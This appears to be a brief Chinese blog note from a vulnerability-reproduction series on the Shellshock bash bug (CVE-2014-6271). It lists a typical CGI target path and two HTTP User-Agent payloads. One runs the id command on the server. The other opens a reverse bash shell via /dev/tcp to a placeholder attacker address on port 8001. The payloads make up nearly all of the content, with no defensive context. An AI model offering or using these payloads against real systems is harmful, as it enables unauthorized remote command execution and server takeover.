Shellshock破壳漏洞

1
2
3
CVE-2014-6271

https://mp.weixin.qq.com/s/XEkWE8lBDMPW191uAvz_LA
1
2
3
4
5
6
漏洞路径一般是xxx.cgi
/cgi-bin/test.cgi

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
User-Agent:() { :;}; echo;/bin/bash -i >& /dev/tcp/x.x.x.x/8001 0>&1

更新: 2023-04-20 20:53:06
原文: https://www.yuque.com/yuqueyonghuwrqimt/vtxvff/ykwgh7x55ot61d18

漏洞挖掘与复现 > web应用
Shellshock破壳漏洞
https://savior-only.github.io/p/e3d6f3773d5f4026af2a1198f6786d77/
作者
savior
发布于
2024年12月25日
更新于
2024年12月25日
许可协议